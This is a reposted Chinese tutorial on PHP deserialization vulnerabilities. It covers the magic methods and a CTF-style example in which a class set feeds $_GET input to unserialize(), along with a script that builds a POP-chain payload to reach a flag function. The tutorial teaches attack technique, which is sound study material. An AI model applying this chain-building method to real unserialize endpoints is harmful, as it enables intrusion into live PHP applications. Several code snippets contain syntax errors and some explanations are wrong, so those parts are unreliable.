PHP反序列化漏洞

news2024/9/24 5:27:34

一、序列化,反序列化 

  • 序列化:将php对象压缩并按照一定格式转换成字符串过程
  • 反序列化:从字符串转换回php对象的过程
  • 目的:为了方便php对象的传输和存储

seriallize()       传入参数为php对象,序列化成字符串

unserialize()    传入字符串,反序列化成一个对象

下图,上面是php对象,下面是 序列化结果 

 强调:序列化的过程,只序列化属性,不序列化函数

二、反序列化攻击

利用unserilize()接受的参数是用户可控,攻击者输入精心构造的字符串,再转换成对象的过程中实现攻击

只序列化属性,不序列化方法,所有对象的属性是唯一的攻击入口

魔术方法(以__开头的函数)

1.__construct():
构造函数,当一个对象被实例化时,就会被调用

<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function":
        }
    }
    $a = new A();
?>

 当$a = new A() 这条语句被执行的时候,__construct()方法就会被调用

2.__destruct():

析构函数,当代码执行结束,对象所占用的空间被回收的时候,回自动调用析构函数

<?php
    class A
    {
        function __construct()
        {
            echo "this is a construct function";
        }
        function __destruct()
        {
            echo "this is a destruct function";
        }
    }
    
    $a = new A();
?>

这个方法,不管是啥情况,只要代码执行,肯定有结束的时候,就一定会调用析构函数 

3.__sleep():
在对象进行序列化的过程,__sleep()函数将被调用

<?php
    class A
    {
        private $test;
        public $test2;
        public function __construct($test)
        {
            $this->test = $test;
        }
        public function __sleep()
        {
            echo "this is a sleep function";
            
            return array('test'); //这里必须返回一个数值,里面的参数表示返回的属性名称
        }
    }
    $a = new A("Aurora");
    echo serialize($a);
?>

在代码中有serialize()方法的出现,__sleep()这个魔术方法一定会被调用

4.__wakeup():
wakeup()与sleep()正好相对应

是在反序列化的过程会被调用

当unserialize()函数出现,__wakeup()这个魔术方法一定会被调用

注意:反序列化看似是构造一个对象,但并没有调用到constant方法,而是调用__wakeup()方法

5.__toString()方法

当出现,把一个字符串当作字符串来使用,就会调用该方法

<?php 
    class A
    {
        private $test;'
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __toString()
        {
            $str = "this is a toString function";

            return $str;
        }
    }
    $a = new A("Aurora");
    echo $a;
?>

6.__invoke():

当把一个对象当作函数来调用的时候,就会自动调用invoke()方法

<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function __invoke()
        {
            echo = "this is a invoke function";
        }
    }
    $a = new A("Aurora");
    $a();    //$a是一个对象,但却用$a()调用方法的方法使用它
?>

上面$a()就是将对象作为函数来调用的例子

7.__call():

调用对象中不存在的方法,就会调用call函数

<?php
    class A
    {
        private $test;
        public function __construct($test)
        {
            $this->test = $test;
        }
        function _call($funName,$arguments)
        {
            echo "你所调用的方法:“.$funName."(参数:";   //输出调用不存在的方法名
            print_r($arguments);
            echo ")不存在!<br>\n";                       //结束换行
        }
        $a = new A("Aurora");
        $a->test('no','this','function');                //可以看到A类中并没有test()方法
?>

三、案例

<!--
class allstart
{
        public $var1;
        public $var2;
        public function __destruct()
        {
                $this->var1->test1();
        }
}
class func1
{
        public $var1;
        public $var2;
        public function test1()
        {
            $this->var1->test2();
        }
}    
class func2
{
        public $var1;
        public $var2;
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
}
class func3
{
        public $var1;
        public $var2;
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
}
class func4
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class toget
{
        public function get_flag()
        {       
                echo "flag{***}";
        }
}

$a=$_GET["string"];
unserialize($a);

反序列化攻击就是制造一条攻击链

将每一个会用到的属性进行赋值,赋值成特定的对象, 后将其进行序列化,得到序列化的字符串作为get参数传入题目中去

<?php
    class allstart
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func1();
        }
        public function __destruct()
        {
                $this->var1->test1();
        }
    }
 
    class func1
    {
        public $var1;
        public $var2;
        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func2();
        }
        public function test1()
        {
            $this->var1->test2();
        }
    }    
    class func2
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func3();
        }
        public function __call($test2,$arr)
        {
                $s1 = $this->var1;
                $s1();
        }
    }
    class func3
    {
        public $var1;
        public $var2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->var1=new func4();
        }
        public function __invoke()
        {
                $this->var2 = "concat string".$this->var1;
        } 
    }
    class func4
    {
        public $str1;
        public $str2;

        public function __construct()   //只需在每个对象中添加构造函数
        {
            $this->str1=new toget();
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
    }
    class toget
    {
        public function get_flag()
        {       
                echo "flag{***}";
        }
    }

    $a=new allstart();    //这个也要与源码不同
    echo serialize($a);   //将对象序列化
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/986157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HTTP代理如何设置

HTTP代理是一种非常重要的网络工具&#xff0c;它可以帮助我们在访问互联网时提高访问速度&#xff0c;保护用户隐私等等。在使用HTTP代理时&#xff0c;需要先进行设置。下面就来介绍一下HTTP代理如何设置。 一、了解HTTP代理 在开始设置HTTP代理之前&#xff0c;我们需要先了…

系统架构技能之设计模式-组合模式

一、上篇回顾 我们上篇主要讲述了结构型模式中的外观模式&#xff0c;外观模式作为结构型模式中的一个简单又实用的模式&#xff0c;外观模式通过封装细节来提供大粒度的调用&#xff0c; 直接的好处就是&#xff0c;封装细节&#xff0c;提供了应用写程序的可维护性和易用性。…

Es6中的拓展运算符参数解构在实际项目当中应用

扩展操作符 … 是ES6中引入的&#xff0c;将可迭代对象展开到其单独的元素中,常见的应用场景有:拷贝数组对象,合并数组,参数传递,数组去重,字符串转字符数组,解构变量等 单纯的学习某个技术知识点,很容易的,但是能在实际项目中运用进去,那就不简单了的 单纯的学习某个语言的语法…

国家矿山安全监察局关于露天矿山边坡监测系统建设及预警响应要求

矿山是人类社会发展的物资基础&#xff0c;也是国民经济的重要组成部分。随着我国经济的快速增长&#xff0c;矿山开发步伐加快&#xff0c;使得边坡问题日益严重&#xff0c;影响了矿山的安全生产。为有效防范遏制矿山重特大事故发生&#xff0c;国家矿山安全监察局在8月30日发…

Laravel系列开源Dcat admin礼盒商城后台管理项目

前言: 在最近能在与某位前段大佬,合作开发一款项目,这宽项目是由laravel框架搭建使用的Dcat admin框架所制作的一个后台的管理系统,前段制作的是一款小程序,虽说后台管理系统无论是前段还是后端都是千篇一律,但内容也是非常丰富。但本项目仅作为开源学习和技术交流&#xff0c…

爬虫数据清洗可视化实战-就业形势分析

基于采集和分析招聘网站的数据的芜湖就业形势的调查研究 一、引言 本报告旨在分析基于大数据的当地就业形势&#xff0c;并提供有关薪资、工作地点、经验要求、学历要求、公司行业、公司福利以及公司类型及规模的详细信息。该分析是通过网络爬虫技术对招聘网站的数据进行采集…

校园二手物品交易系统微信小程序设计

系统简介 本网最大的特点就功能全面&#xff0c;结构简单&#xff0c;角色功能明确。其不同角色实现以下基本功能。 服务端 后台首页&#xff1a;可以直接跳转到后台首页。 用户信息管理&#xff1a;管理所有申请通过的用户。 商品信息管理&#xff1a;管理校园二手物品中…

蓝牙服务功能

前言 这阵子用到蓝牙比较多&#xff0c;想写一个专栏专门讲解蓝牙协议及其应用&#xff0c;本篇是第二篇文章&#xff0c;讲解蓝牙服务。 参考网上各大神文章&#xff0c;及瑞萨的文章&#xff0c;参考GPT&#xff0c;并且加入了一些本人的理解。 图片部分源自网络&#xff…

树形控件加自定义图标样式及指引线

记录一下留用&#xff0c;有错误请指正。 效果图如下&#xff1a; 自定义图标及指引线 代码&#xff1a; <div class"head-container" style"margin-left: -15px;"><el-tree icon-class"none"style"height:100%; overflow-y: h…

ffmpeg-android studio创建jni项目

一、创建native项目 1.1、选择Native C 1.2、命名项目名称 1.3、选择C标准 1.4、项目结构 1.5、app的build.gradle plugins {id com.android.application }android {compileSdk 32defaultConfig {applicationId "com.anniljing.ffmpegnative"minSdk 25targetSdk 32…

浏览器进程,性能指标,性能优化

目录 浏览器进程&#xff1a;多进程 主进程&#xff1a;显示、交互&#xff0c;增删进程 UI进程&#xff1a;控制地址栏、书签、前进后退 存储进程&#xff1a;cookie&#xff0c;webstorage&#xff0c;indexDB 渲染进程&#xff1a;每个标签页或窗口都有一个独立的渲染进…

Android11编译第四弹:证书和资源内置

问题&#xff1a;我们智能货柜&#xff0c;终端与云端采用的是MQTT通信&#xff0c;为了更加安全&#xff0c;需要采用HTTPS进行通信。这样&#xff0c;中断需要内置证书。这就需要实现ROM中内置资源&#xff0c;将资源打包到系统中。 一、什么是内置资源 内置资源&#xff0…

LeetCode刷题笔记【29】:动态规划专题-1(斐波那契数、爬楼梯、使用最小花费爬楼梯)

文章目录 前置知识解题思路解题步骤动态规划的debug 509. 斐波那契数题目描述解题思路代码使用dp数组优化空间复杂度: 不用数组, 只用两个变量记录即可 70. 爬楼梯题目描述解题思路代码使用dp数组优化空间复杂度: 不用数组, 只用两个变量记录即可 746. 使用最小花费爬楼梯题目描…

Mybatis传递实体对象只能直接获取,不能使用对象.属性方式获取

mybatis的自动识别参数功能很强大&#xff0c;pojo实体类可以直接写进mapper接口里面&#xff0c;不需要在mapper.xml文件中添加paramType,但是加了可以提高mybatis的效率 不加Param注解&#xff0c;取值的时候直接写属性 //这里是单参数&#xff0c;可以不加param&#xff01…

YOLO的基本原理详解

YOLO介绍 YOLO是一种新的目标检测方法。以前的目标检测方法通过重新利用分类器来执行检测。与先前的方案不同&#xff0c;将目标检测看作回归问题从空间上定位边界框&#xff08;bounding box&#xff09;并预测该框的类别概率。使用单个神经网络&#xff0c;在一次评估中直接…

ARM的异常处理

概念 处理器在正常执行程序的过程中可能会遇到一些不正常的事件发生 这时处理器就要将当前的程序暂停下来转而去处理这个异常的事件 异常事件处理完成之后再返回到被异常打断的点继续执行程序 异常处理机制 不同的处理器对异常的处理的流程大体相似&#xff0c;但是不同的处理器…

VsCode备忘

上次简单学习了一下vscode的使用&#xff0c;结果好长时间没用&#xff0c;今天打开又全忘了。。。再记录一下吧 快捷键 CtrlShiftP 命令面板&#xff0c;查找命令&#xff0c;设置等等 Ctrl 打开集成终端&#xff0c;监视生成输出 Ctrl, 打开设置 CtrlP 转到文件,使用转到符…

提高使用VS Code工作效率的技巧

提高使用VS Code工作效率的技巧 时间轴视图&#xff1a;本地源代码控制 时间轴视图为我们提供了内置的源代码控制。 我们中的许多人都知道 Git 和其他源代码控制工具有多么有用&#xff0c;它们可以帮助我们轻松跟踪文件更改并在需要时恢复到之前的状态。 因此&#xff0c;…

网络威胁防御+资产测绘系统-Golang开发

NIPS-Plus 网络威胁防御资产测绘系统-Golang开发 项目地址&#xff1a;https://github.com/jumppppp/NIPS-Plus NIPS-Plus 是一款使用golang语言开发的网络威胁防御系统&#xff08;内置资产测绘系统&#xff09; 网络威胁流量视图网络威胁详细信息浏览列表网络威胁反制探测攻…

编程中的信号处理和系统 - 初学者指南

信号处理是工程和编程的一个重要领域。 基本上,它允许工程师和程序员改进数据,以便人们可以更有效地使用它。 例如,由于信号处理,电话中的大部分背景噪音都被消除了。这样,通话的另一端就只能听到您的声音。 其他例子有: 音频和音乐软件图像视频处理软件医学影像软件语…